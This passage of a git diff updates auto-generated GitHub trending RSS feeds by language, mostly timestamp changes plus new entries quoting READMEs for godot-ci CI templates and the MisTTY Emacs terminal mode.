href="http://thorgalle.me"><img src="https://avatars.githubusercontent.com/u/11543641?v=4?s=50" width="50px;" alt="Thor Galle"><br><sub><b>Thor Galle</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=th0rgall" title="Documentation">📖</a></td> <td align="center" valign="top" width="20%"><a href="https://www.linkedin.com/in/giuseppe-cianci/"><img src="https://avatars.githubusercontent.com/u/39117631?v=4?s=50" width="50px;" alt="Giuseppe Cianci"><br><sub><b>Giuseppe Cianci</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=Giuspepe" title="Documentation">📖</a></td> <td align="center" valign="top" width="20%"><a href="https://shreyam.ml"><img src="https://avatars.githubusercontent.com/u/38105595?v=4?s=50" width="50px;" alt="Shreyam Maity"><br><sub><b>Shreyam Maity</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=ShreyamMaity" title="Documentation">📖</a></td> <td align="center" valign="top" width="20%"><a href="https://jns.io/"><img src="https://avatars.githubusercontent.com/u/720469?v=4?s=50" width="50px;" alt="Niklas Schulze"><br><sub><b>Niklas Schulze</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=jnschulze" title="Code">💻</a> <a href="https://raw.githubusercontent.com/leoafarias/fvm/main/#ideas-jnschulze" title="Ideas, Planning, &amp; Feedback">🤔</a> <a href="https://github.com/fluttertools/fvm/issues?q=author%3Ajnschulze" title="Bug reports">🐛</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/gonzalogauto"><img src="https://avatars.githubusercontent.com/u/44684314?v=4?s=50" width="50px;" alt="Gonzalo Gauto"><br><sub><b>Gonzalo Gauto</b></sub></a><br><a href="https://raw.githubusercontent.com/leoafarias/fvm/main/#ideas-gonzalogauto" title="Ideas, Planning, &amp; Feedback">🤔</a> <a href="https://github.com/fluttertools/fvm/commits?author=gonzalogauto" title="Code">💻</a></td> </tr> <tr> <td align="center" valign="top" width="20%"><a href="https://www.etiennetheodore.com/"><img src="https://avatars.githubusercontent.com/u/8250175?v=4?s=50" width="50px;" alt="Etienne Théodore"><br><sub><b>Etienne Théodore</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=Kiruel" title="Documentation">📖</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/BrianRigii"><img src="https://avatars.githubusercontent.com/u/51914354?v=4?s=50" width="50px;" alt="John Brian"><br><sub><b>John Brian</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=BrianRigii" title="Documentation">📖</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/bryanoltman"><img src="https://avatars.githubusercontent.com/u/581764?v=4?s=50" width="50px;" alt="Bryan Oltman"><br><sub><b>Bryan Oltman</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=bryanoltman" title="Documentation">📖</a></td> <td align="center" valign="top" width="20%"><a href="https://github.com/Inlesco"><img src="https://avatars.githubusercontent.com/u/5101235?v=4?s=50" width="50px;" alt="Dovydas Stepona"><br><sub><b>Dovydas Stepona</b></sub></a><br><a href="https://github.com/fluttertools/fvm/commits?author=Inlesco" title="Documentation">📖</a></td> </tr> </tbody> </table> <!-- markdownlint-restore --> <!-- prettier-ignore-end --> <!-- ALL-CONTRIBUTORS-LIST:END --> <p>This project follows the <a href="https://github.com/all-contributors/all-contributors">all-contributors</a> specification. Contributions of any kind are very welcome!</p> \ No newline at end of file diff --git a/dataweave/daily/index.xml b/dataweave/daily/index.xml index 0a734f9d315..45c2df18f8a 100644 --- a/dataweave/daily/index.xml +++ b/dataweave/daily/index.xml @@ -1,7 +1,7 @@ GitHub DataWeave Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:20Z + 2023-09-20T01:27:50Z Daily Trending of DataWeave in GitHub \ No newline at end of file diff --git a/debian-package-control-file/daily/index.xml b/debian-package-control-file/daily/index.xml index bb0d9402640..1261125b9dc 100644 --- a/debian-package-control-file/daily/index.xml +++ b/debian-package-control-file/daily/index.xml @@ -1,7 +1,7 @@ GitHub Debian Package Control File Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:21Z + 2023-09-20T01:27:52Z Daily Trending of Debian Package Control File in GitHub \ No newline at end of file diff --git a/denizenscript/daily/index.xml b/denizenscript/daily/index.xml index f84943160ab..008a82ae7ac 100644 --- a/denizenscript/daily/index.xml +++ b/denizenscript/daily/index.xml @@ -1,7 +1,7 @@ GitHub DenizenScript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:22Z + 2023-09-20T01:27:51Z Daily Trending of DenizenScript in GitHub \ No newline at end of file diff --git a/desktop/daily/index.xml b/desktop/daily/index.xml index 366926b4fb3..8d9f287f816 100644 --- a/desktop/daily/index.xml +++ b/desktop/daily/index.xml @@ -1,7 +1,7 @@ GitHub desktop Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:32Z + 2023-09-20T01:28:10Z Daily Trending of desktop in GitHub \ No newline at end of file diff --git a/dhall/daily/index.xml b/dhall/daily/index.xml index b79f3ccb301..7c470099ce8 100644 --- a/dhall/daily/index.xml +++ b/dhall/daily/index.xml @@ -1,7 +1,7 @@ GitHub Dhall Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:33Z + 2023-09-20T01:28:09Z Daily Trending of Dhall in GitHub \ No newline at end of file diff --git a/diff/daily/index.xml b/diff/daily/index.xml index 08128ccb419..f8688cdf0fa 100644 --- a/diff/daily/index.xml +++ b/diff/daily/index.xml @@ -1,7 +1,7 @@ GitHub Diff Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:31Z + 2023-09-20T01:28:08Z Daily Trending of Diff in GitHub \ No newline at end of file diff --git a/digital-command-language/daily/index.xml b/digital-command-language/daily/index.xml index 4d246e7f7f4..2b520ef06da 100644 --- a/digital-command-language/daily/index.xml +++ b/digital-command-language/daily/index.xml @@ -1,7 +1,14 @@ GitHub DIGITAL Command Language Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:34Z + 2023-09-20T01:28:11Z Daily Trending of DIGITAL Command Language in GitHub + + sitehostnz/ip-ua-data + 2023-09-20T01:28:11Z + tag:github.com,2023-09-20:/sitehostnz/ip-ua-data + + <p>A repository with interesting IP addresses and User Agents</p><hr> + \ No newline at end of file diff --git a/dircolors/daily/index.xml b/dircolors/daily/index.xml index 4f886cc9007..7057fb40914 100644 --- a/dircolors/daily/index.xml +++ b/dircolors/daily/index.xml @@ -1,7 +1,7 @@ GitHub dircolors Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:35Z + 2023-09-20T01:28:13Z Daily Trending of dircolors in GitHub \ No newline at end of file diff --git a/directx-3d-file/daily/index.xml b/directx-3d-file/daily/index.xml index 6c9ac1c6ff9..9177bc0afce 100644 --- a/directx-3d-file/daily/index.xml +++ b/directx-3d-file/daily/index.xml @@ -1,7 +1,7 @@ GitHub DirectX 3D File Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:36Z + 2023-09-20T01:28:14Z Daily Trending of DirectX 3D File in GitHub \ No newline at end of file diff --git a/dm/daily/index.xml b/dm/daily/index.xml index 293658150fe..ba2808ede9b 100644 --- a/dm/daily/index.xml +++ b/dm/daily/index.xml @@ -1,7 +1,7 @@ GitHub DM Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:37Z + 2023-09-20T01:28:16Z Daily Trending of DM in GitHub \ No newline at end of file diff --git a/dns-zone/daily/index.xml b/dns-zone/daily/index.xml index c1aa61a7d82..79077b9ba44 100644 --- a/dns-zone/daily/index.xml +++ b/dns-zone/daily/index.xml @@ -1,7 +1,7 @@ GitHub DNS Zone Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:38Z + 2023-09-20T01:28:12Z Daily Trending of DNS Zone in GitHub \ No newline at end of file diff --git a/dockerfile/daily/index.xml b/dockerfile/daily/index.xml index f2ab9bc254b..d6890359534 100644 --- a/dockerfile/daily/index.xml +++ b/dockerfile/daily/index.xml @@ -1,7 +1,14 @@ GitHub Dockerfile Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:44Z + 2023-09-20T01:28:23Z Daily Trending of Dockerfile in GitHub + + abarichello/godot-ci + 2023-09-20T01:28:23Z + tag:github.com,2023-09-20:/abarichello/godot-ci + + <p>Docker image to export Godot Engine games. Templates for Gitlab CI and GitHub Actions to deploy to GitLab Pages/GitHub Pages/Itch.io.</p><hr><h1>godot-ci</h1> <p>Docker image to export Godot Engine games and deploy to GitLab/GitHub Pages and Itch.io using GitLab CI and GitHub Actions.</p> <img src="https://i.imgur.com/3z4Sxhd.png" width="450"> <h2>Docker Hub</h2> <p><a href="https://hub.docker.com/r/barichello/godot-ci/">https://hub.docker.com/r/barichello/godot-ci/</a></p> <h2>How To Use</h2> <p><code>.gitlab-ci.yml</code> and <code>.github/workflows/godot-ci.yml</code> are included in this project as reference. <br>For live projects, examples and tutorials using this template check the list below:<br></p> <ul> <li><a href="https://www.youtube.com/watch?v=wbc1qut0vT4">Video tutorial by Kyle Luce</a></li> <li><a href="https://www.youtube.com/watch?v=4oUs4IV_Mj4&amp;list=PLCBLMvLIundAOAiCvluBNuEA0-ea7_EDp">Video tutorial series by David Snopek</a></li> <li>Repository examples: <a href="https://github.com/aBARICHELLO/godot-ci/tree/master/test-project">test-project</a> | <a href="https://gitlab.com/BARICHELLO/game-off">game-off</a>.</li> <li>Test deploys using this tool: <a href="http://barichello.me/godot-ci/">GitHub Pages</a> | <a href="https://barichello.gitlab.io/godot-ci/">GitLab Pages</a> | <a href="https://barichello.itch.io/test-project">Itch.io</a>.</li> </ul> <h3>Mono/C#</h3> <p>To build a Godot project with Mono (C#) enabled, you must do two things for each job:</p> <ol> <li>Change the container's <code>image</code> tag from <code>barichello/godot-ci:VERSION</code> to <code>barichello/godot-ci:mono-VERSION</code> in <code>.gitlab-ci.yml</code> (Gitlab) or <code>godot-ci.yml</code> (Github). (e.g. <code>barichello/godot-ci:mono-3.2.1</code>).</li> <li>You will also need to change your "Setup" step's run commands (looks like <code>run: mv /root/.local ...</code>) from ending with <code>...${GODOT_VERSION}.stable</code> to ending with <code>...${GODOT_VERSION}.stable.mono</code>. You will need to do this for both directories in the command.</li> </ol> <pre><code class="language-bash">mv /root/.local/share/godot/templates/${GODOT_VERSION}.stable ~/.local/share/godot/templates/${GODOT_VERSION}.stable </code></pre> <p>becomes:</p> <pre><code class="language-bash">mv /root/.local/share/godot/templates/${GODOT_VERSION}.stable.mono ~/.local/share/godot/templates/${GODOT_VERSION}.stable.mono </code></pre> <h3>Android</h3> <p>To build a debug release (debug.keystore), use the <code>android_debug</code> job example in the <code>gitlab-ci.yml</code> file.</p> <p>If you want to export for Android with your own keystore, you can do this with the following steps:</p> <ol> <li>Take your generated keystore and convert it to Base64: Linux &amp; macOS: <code>base64 release.keystore -w 0</code> Windows: <code>certutil -encodehex -f release.keystore encoded.txt 0x40000001</code></li> <li>Go to <strong>GitLab Project &gt; Settings &gt; CI/CD &gt; Variables</strong> and copy the Base64-encoded keystore value in a new variable <code>SECRET_RELEASE_KEYSTORE_BASE64</code> as type variable.</li> <li>Create a second variable SECRET_RELEASE_KEYSTORE_USER as type variable with the alias of your keystore as value.</li> <li>Create a third variable SECRET_RELEASE_KEYSTORE_PASSWORD as type variable with the password of your keystore as value.</li> <li>Use the <code>android</code> job example in the <code>gitlab-ci.yml</code> file.</li> </ol> <h3>GDNative/C++</h3> <p>See <a href="https://github.com/2shady4u/godot-cpp-ci">this repository</a> for automating GDNative C++ compilation, which is based off this repository.</p> <h3>Modules</h3> <p>You have to compile Godot with the modules included first. See <a href="https://gitlab.com/Calinou/godot-builds-ci">this excellent repository</a> by Calinou for automating Godot builds.</p> <p>After that, you would use the custom build to export your project as usual. See <a href="https://gitlab.com/greenfox/godot-build-automation/-/blob/master/advanced_topics.md#using-a-custom-build-of-godot">this guide</a> by Greenfox on how to use a custom Godot build for automated exports.</p> <h3>iOS</h3> <p>Not available yet. Automating Xcode projects is doable but not trivial, and macOS runners only recently became available for GitHub actions, so it will happen eventually.</p> <h2>Platforms</h2> <p>Here's a mapping between each supported CI service, the template jobs and a live example.</p> <table> <thead> <tr> <th>CI</th> <th>Template</th> <th>Example</th> </tr> </thead> <tbody> <tr> <td>GitLab CI</td> <td><a href="https://github.com/aBARICHELLO/godot-ci/raw/master/.gitlab-ci.yml#L16-L58">Godot Exports</a> / <a href="https://github.com/aBARICHELLO/godot-ci/raw/master/.gitlab-ci.yml#L60-L76">GitHub Pages</a> / <a href="https://github.com/aBARICHELLO/godot-ci/raw/master/.gitlab-ci.yml#L78-L91">GitLab Pages</a> / <a href="https://github.com/aBARICHELLO/godot-ci/raw/master/.gitlab-ci.yml#L93-L113">Itch.io</a></td> <td><a href="https://gitlab.com/BARICHELLO/godot-ci/pipelines">GitLab CI Pipelines</a></td> </tr> <tr> <td>GitHub Actions</td> <td><a href="https://github.com/aBARICHELLO/godot-ci/raw/master/.github/workflows/godot-ci.yml#L8-99">Godot Exports</a></td> <td><a href="https://github.com/aBARICHELLO/godot-ci/actions">GitHub Actions running</a></td> </tr> </tbody> </table> <h2>Environment configuration</h2> <p>First you need to remove unused jobs/stages from the <code>.yml</code> file you are using as a template(<code>.gitlab-ci.yml</code> or <code>.github/workflows/godot-ci.yml</code>).<br> Then you have to add these environments to a configuration panel depending on the chosen CI and jobs:</p> <ul> <li><strong>GitHub</strong>: <code>https://github.com/&lt;username&gt;/&lt;project-name&gt;/settings/secrets</code></li> <li><strong>GitLab</strong>: <code>https://gitlab.com/&lt;username&gt;/&lt;repo-name&gt;/settings/ci_cd</code></li> </ul> <h3>GitHub Pages</h3> <p>Secrets needed for a GitHub Pages deploy via GitLab CI:</p> <table> <thead> <tr> <th>Variable</th> <th>Description</th> <th>Example</th> </tr> </thead> <tbody> <tr> <td>REMOTE_URL</td> <td>The <code>git remote</code> where the web export will be hosted (in this case GitHub), it should contain your <a href="https://github.com/settings/tokens">deploy/personal access token</a></td> <td><code>https://&lt;github username&gt;:&lt;deploy token&gt;@github.com/&lt;username&gt;/&lt;repository&gt;.git</code></td> </tr> <tr> <td>GIT_EMAIL</td> <td>Git email of the account that will commit to the <code>gh-pages</code> branch.</td> <td><code>email@example.com</code></td> </tr> <tr> <td>GIT_USERNAME</td> <td>Username of the account that will commit to the <code>gh-pages</code> branch.</td> <td><code>username</code></td> </tr> </tbody> </table> <p>Others variables are set automatically by the <code>gitlab-runner</code>, see the documentation for <a href="https://docs.gitlab.com/ee/ci/variables/predefined_variables.html">predefined variables</a>.<br></p> <h3>Itch.io</h3> <p>Deployment to Itch.io is done via <a href="https://itch.io/docs/butler/">Butler</a>.<br> Secrets needed for a Itch.io deploy via GitLab CI:</p> <table> <thead> <tr> <th>Variable</th> <th>Description</th> <th>Example</th> </tr> </thead> <tbody> <tr> <td>ITCHIO_USERNAME</td> <td>Your username on Itch.io, as in your personal page will be at <code>https://&lt;username&gt;.itch.io</code></td> <td><code>username</code></td> </tr> <tr> <td>ITCHIO_GAME</td> <td>the name of your game on Itchio, as in your game will be available at <code>https://&lt;username&gt;.itch.io/&lt;game&gt;</code></td> <td><code>game</code></td> </tr> <tr> <td>BUTLER_API_KEY</td> <td>An <a href="https://itch.io/user/settings/api-keys">Itch.io API key</a> is necessary for Butler so that the CI can authenticate on Itch.io on your behalf. <strong>Make that API key <code>Masked</code>(GitLab CI) to keep it secret</strong></td> <td><code>xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx</code></td> </tr> </tbody> </table> <h2>Troubleshoot</h2> <h4>Problems while exporting</h4> <ul> <li><strong>Check that the export presets file (<code>export_presets.cfg</code>) is committed to version control.</strong> In other words, <code>export_presets.cfg</code> must <em>not</em> be in <code>.gitignore</code>. <ul> <li>Make sure you don't accidentally commit Android release keystore or Windows codesigning credentials. These credentials cannot be revoked if they are leaked!</li> </ul> </li> <li>Check that the export names on <code>export_presets.cfg</code> match the ones used in your CI script <strong>(case-sensitive)</strong>. Export preset names that contain spaces must be written within quotes (single or double).</li> <li>Check the paths used in your CI script. Some commands may be running in the wrong place if you are keeping the project in a folder (like the <code>test-project</code> template) or not.</li> </ul> <h4>Authentication errors with Butler</h4> <ul> <li>If using GitLab, check that the 'protected' tag is disabled in the <a href="https://github.com/aBARICHELLO/godot-ci#environment-configuration">CI/CD variables panel</a>.</li> </ul> <h2>Additional Resources</h2> <p>Greenfox has an <a href="https://gitlab.com/greenfox/godot-build-automation">excellent repo</a> that is also for automating Godot exports.</p> + \ No newline at end of file diff --git a/dogescript/daily/index.xml b/dogescript/daily/index.xml index dd1f3a17870..5644a4e1d35 100644 --- a/dogescript/daily/index.xml +++ b/dogescript/daily/index.xml @@ -1,7 +1,7 @@ GitHub Dogescript Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:40Z + 2023-09-20T01:28:19Z Daily Trending of Dogescript in GitHub \ No newline at end of file diff --git a/dtrace/daily/index.xml b/dtrace/daily/index.xml index e56a7d6579d..0210b705a37 100644 --- a/dtrace/daily/index.xml +++ b/dtrace/daily/index.xml @@ -1,7 +1,7 @@ GitHub DTrace Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:27:41Z + 2023-09-20T01:28:18Z Daily Trending of DTrace in GitHub \ No newline at end of file diff --git a/dylan/daily/index.xml b/dylan/daily/index.xml index 921d6e5b85f..3849c5e5461 100644 --- a/dylan/daily/index.xml +++ b/dylan/daily/index.xml @@ -1,7 +1,7 @@ GitHub Dylan Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:16Z + 2023-09-20T01:28:55Z Daily Trending of Dylan in GitHub \ No newline at end of file diff --git a/e-mail/daily/index.xml b/e-mail/daily/index.xml index 139022f266a..e76f6bb58fa 100644 --- a/e-mail/daily/index.xml +++ b/e-mail/daily/index.xml @@ -1,7 +1,7 @@ GitHub E-mail Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:43Z + 2023-09-20T01:29:20Z Daily Trending of E-mail in GitHub \ No newline at end of file diff --git a/e/daily/index.xml b/e/daily/index.xml index 087f9dd557e..891fc6965ad 100644 --- a/e/daily/index.xml +++ b/e/daily/index.xml @@ -1,7 +1,7 @@ GitHub E Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:14Z + 2023-09-20T01:28:57Z Daily Trending of E in GitHub \ No newline at end of file diff --git a/eagle/daily/index.xml b/eagle/daily/index.xml index 4be73d98fc4..e55dbd2cd1f 100644 --- a/eagle/daily/index.xml +++ b/eagle/daily/index.xml @@ -1,7 +1,7 @@ GitHub Eagle Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:15Z + 2023-09-20T01:28:56Z Daily Trending of Eagle in GitHub \ No newline at end of file diff --git a/earthly/daily/index.xml b/earthly/daily/index.xml index 062bfd8476e..01c0b24898a 100644 --- a/earthly/daily/index.xml +++ b/earthly/daily/index.xml @@ -1,7 +1,7 @@ GitHub Earthly Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:20Z + 2023-09-20T01:29:02Z Daily Trending of Earthly in GitHub \ No newline at end of file diff --git a/easybuild/daily/index.xml b/easybuild/daily/index.xml index 6beec3009de..422dad15e6e 100644 --- a/easybuild/daily/index.xml +++ b/easybuild/daily/index.xml @@ -1,7 +1,7 @@ GitHub Easybuild Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:19Z + 2023-09-20T01:29:01Z Daily Trending of Easybuild in GitHub \ No newline at end of file diff --git a/ebnf/daily/index.xml b/ebnf/daily/index.xml index c307ea5c122..938d49c462d 100644 --- a/ebnf/daily/index.xml +++ b/ebnf/daily/index.xml @@ -1,7 +1,7 @@ GitHub EBNF Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:18Z + 2023-09-20T01:29:01Z Daily Trending of EBNF in GitHub \ No newline at end of file diff --git a/ec/daily/index.xml b/ec/daily/index.xml index 8c24e381825..ebd70864775 100644 --- a/ec/daily/index.xml +++ b/ec/daily/index.xml @@ -1,7 +1,7 @@ GitHub eC Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:21Z + 2023-09-20T01:28:59Z Daily Trending of eC in GitHub \ No newline at end of file diff --git a/ecere-projects/daily/index.xml b/ecere-projects/daily/index.xml index b297ff8b294..edd06cd6c56 100644 --- a/ecere-projects/daily/index.xml +++ b/ecere-projects/daily/index.xml @@ -1,7 +1,7 @@ GitHub Ecere Projects Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:22Z + 2023-09-20T01:29:06Z Daily Trending of Ecere Projects in GitHub \ No newline at end of file diff --git a/ecl/daily/index.xml b/ecl/daily/index.xml index 4d7f2280e58..cac62c7cc57 100644 --- a/ecl/daily/index.xml +++ b/ecl/daily/index.xml @@ -1,7 +1,7 @@ GitHub ECL Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:23Z + 2023-09-20T01:29:07Z Daily Trending of ECL in GitHub \ No newline at end of file diff --git a/eclipse/daily/index.xml b/eclipse/daily/index.xml index a30481a3a07..d1fc0553a24 100644 --- a/eclipse/daily/index.xml +++ b/eclipse/daily/index.xml @@ -1,7 +1,7 @@ GitHub ECLiPSe Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:25Z + 2023-09-20T01:29:05Z Daily Trending of ECLiPSe in GitHub \ No newline at end of file diff --git a/editorconfig/daily/index.xml b/editorconfig/daily/index.xml index a802f21ceb0..72dfb9c274a 100644 --- a/editorconfig/daily/index.xml +++ b/editorconfig/daily/index.xml @@ -1,7 +1,7 @@ GitHub EditorConfig Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:27Z + 2023-09-20T01:29:08Z Daily Trending of EditorConfig in GitHub \ No newline at end of file diff --git a/edje-data-collection/daily/index.xml b/edje-data-collection/daily/index.xml index 5450b7de4a0..22e25e33547 100644 --- a/edje-data-collection/daily/index.xml +++ b/edje-data-collection/daily/index.xml @@ -1,7 +1,7 @@ GitHub Edje Data Collection Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:26Z + 2023-09-20T01:29:10Z Daily Trending of Edje Data Collection in GitHub \ No newline at end of file diff --git a/edn/daily/index.xml b/edn/daily/index.xml index 06b807dd0f8..a331e912559 100644 --- a/edn/daily/index.xml +++ b/edn/daily/index.xml @@ -1,7 +1,7 @@ GitHub edn Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:29Z + 2023-09-20T01:29:12Z Daily Trending of edn in GitHub \ No newline at end of file diff --git a/eiffel/daily/index.xml b/eiffel/daily/index.xml index 8f20b27e879..5ee9191c3b9 100644 --- a/eiffel/daily/index.xml +++ b/eiffel/daily/index.xml @@ -1,7 +1,7 @@ GitHub Eiffel Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:28Z + 2023-09-20T01:29:11Z Daily Trending of Eiffel in GitHub \ No newline at end of file diff --git a/ejs/daily/index.xml b/ejs/daily/index.xml index 4eaf3d8350a..b04712bbab8 100644 --- a/ejs/daily/index.xml +++ b/ejs/daily/index.xml @@ -1,7 +1,7 @@ GitHub EJS Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:32Z + 2023-09-20T01:29:16Z Daily Trending of EJS in GitHub \ No newline at end of file diff --git a/elixir/daily/index.xml b/elixir/daily/index.xml index 9d6f33ce445..598fc89237f 100644 --- a/elixir/daily/index.xml +++ b/elixir/daily/index.xml @@ -1,21 +1,14 @@ GitHub Elixir Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:36Z + 2023-09-20T01:29:19Z Daily Trending of Elixir in GitHub - crbelaus/elixir_bun - 2023-09-19T01:28:36Z - tag:github.com,2023-09-19:/crbelaus/elixir_bun - - <p>An installer for bun</p><hr> - - - emilpriver/go-rust-bun-node - 2023-09-19T01:28:36Z - tag:github.com,2023-09-19:/emilpriver/go-rust-bun-node - - <p>GO vs Rust vs Bun benchmark</p><hr> + dwyl/fields-demo + 2023-09-20T01:29:19Z + tag:github.com,2023-09-20:/dwyl/fields-demo + + <p>Quick demo of the fields package.</p><hr> \ No newline at end of file diff --git a/elm/daily/index.xml b/elm/daily/index.xml index 3f6964a3cf4..dfc0a851332 100644 --- a/elm/daily/index.xml +++ b/elm/daily/index.xml @@ -1,7 +1,7 @@ GitHub Elm Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:30Z + 2023-09-20T01:29:13Z Daily Trending of Elm in GitHub \ No newline at end of file diff --git a/emacs-lisp/daily/index.xml b/emacs-lisp/daily/index.xml index c9e81228dfb..8261bfc0098 100644 --- a/emacs-lisp/daily/index.xml +++ b/emacs-lisp/daily/index.xml @@ -1,14 +1,21 @@ GitHub Emacs Lisp Daily Trending http://mshibanami.github.io/GitHubTrendingRSS - 2023-09-19T01:28:43Z + 2023-09-20T01:29:27Z Daily Trending of Emacs Lisp in GitHub - pprevos/emacs-writing-studio - 2023-09-19T01:28:43Z - tag:github.com,2023-09-19:/pprevos/emacs-writing-studio - - <p>Emacs configuration for authors</p><hr><p>#+TITLE: Emacs Writing Studio #+AUTHOR: Peter Prevos</p> <p>/Emacs Writing Studio/ is a [[https://lucidmanager.org/tags/emacs/][series of articles]] on how authors can use Emacs to publish articles, books, scripts and websites.</p> <p>[[file:images/emacs-writing-studio.png]]</p> <p>This Emacs configuration stays as close as humanly bearable to Vanilla Emacs.</p> <ul> <li>Relies on Emacs 29.1</li> <li>Standard keyboard shortcuts</li> <li>No configuration for developing software</li> <li>Centred around Org mode</li> </ul> <p>To try the /Emacs Writing Studio/, download the <del>init.el</del> file and run Emacs with the <del>--init-directory</del> option:</p> <p><del>emacs --init-directory emacs-writing-studio/init.el</del></p> <p>This website will eventually be published in an (e)book with an extended version of the website. The website and the book are written and published with the /Emacs Writing Studio/ Configuration.</p> + szermatt/mistty + 2023-09-20T01:29:27Z + tag:github.com,2023-09-20:/szermatt/mistty + + <p>Shell/Comint alternative with a fully functional terminal for Emacs 29.1 and later.</p><hr><h1>MisTTY, a shell/comint alternative with a fully functional terminal</h1> <p><a href="https://github.com/szermatt/mistty/actions/workflows/test.yml"><img src="https://github.com/szermatt/mistty/actions/workflows/CI.yml/badge.svg?sanitize=true" alt="CI Status"></a> <a href="https://mistty.readthedocs.io/en/latest/?badge=latest"><img src="https://readthedocs.org/projects/mistty/badge/?version=latest" alt="Documentation Status"></a> <a href="https://melpa.org/#/mistty"><img src="https://melpa.org/packages/mistty-badge.svg?sanitize=true" alt="MELPA"></a></p> <p>MisTTY runs a shell interactively under Emacs 29.1 and later, just like <code>M-x shell</code> does.</p> <p>In a MisTTY buffer, just like in a normal shell buffer, the usual native Emacs movement and editing work. What <em>also</em> work is everything that you normally only have in a terminal, such as TAB-completion and native shell history.</p> <p>MisTTY works well with Bash and ZSH, but it is especially well suited to running <a href="https://fishshell.com">Fish</a>: you get autosuggestions, completion in full colors. Here's what the end result might look like:</p> <p><img src="https://github.com/szermatt/mistty/raw/master/screengrab.gif?raw=true" alt="screen grab"></p> <h2>INSTALLATION</h2> <blockquote> <p><strong>The following is just a quick introduction. Read the full documentation at <a href="https://mistty.readthedocs.io/en/latest/">https://mistty.readthedocs.io/en/latest/</a></strong></p> </blockquote> <p>You can install MisTTY:</p> <ul> <li>from <a href="https://melpa.org/#/getting-started">MELPA</a>, by typing <code>M-x package-install mistty</code></li> <li>from source, by executing <code>(package-vc-install "https://github.com/szermatt/mistty")</code></li> </ul> <h2>USAGE</h2> <p>Type <code>M-x mistty</code> to launch a new shell buffer in MisTTY mode, then use it as you would comint.</p> <p>You'll quickly notice some differences. For example TAB completion working just like in a terminal instead of relying of Emacs completion.</p> <p>The purple line on the left indicates the portion of the buffer that's a terminal. What you type in there gets sent to the program, usually a shell, and translated by that program. The rest of the buffer is normal, editable, text.</p> <p>Commands that takes the whole screen such as <code>less</code> or <code>vi</code> take you into terminal mode for the duration of that command. You can still access previous commands in the "scrollback" MisTTY buffer by typing <code>C-c C-j</code>.</p> <p>If you ever get into a situation where a command needs you to press keys normally sent to Emacs, such as the arrow keys, press <code>C-c C-q</code>. It'll send all key strokes directly to the terminal until you exit the mode by pressing <code>C-g</code>. To send a single key to the terminal you can also press <code>C-q &lt;key&gt;</code> instead.</p> <p>You will very likely want to send some keys you use often directly to the terminal. This is done by binding keys to <code>mistty-send-key</code> in <code>mistty-prompt-map</code>. For example:</p> <pre><code class="language-elisp">(use-package mistty :bind (("C-c s" . mistty) ;; bind here the shortcuts you'd like the ;; shell to handle instead of Emacs. :map mistty-prompt-map ;; fish: directory history ("M-&lt;up&gt;" . mistty-send-key) ("M-&lt;down&gt;" . mistty-send-key) ("M-&lt;left&gt;" . mistty-send-key) ("M-&lt;right&gt;" . mistty-send-key))) </code></pre> <p>See also <a href="https://mistty.readthedocs.io/en/latest/">the documentation</a> for more details on configuring MisTTY <a href="https://mistty.readthedocs.io/en/latest/shells.html">for different shells</a>.</p> <h2>COMPATIBILITY</h2> <p>MisTTY requires Emacs 29.1 or later.</p> <h2>CONTRIBUTING</h2> <p>See the <a href="https://mistty.readthedocs.io/en/latest/contrib.html">Contributing</a> section of the documentation.</p> + + + gilbertw1/better-jumper + 2023-09-20T01:29:27Z + tag:github.com,2023-09-20:/gilbertw1/better-jumper + + <p>A configurable jump list implementation for 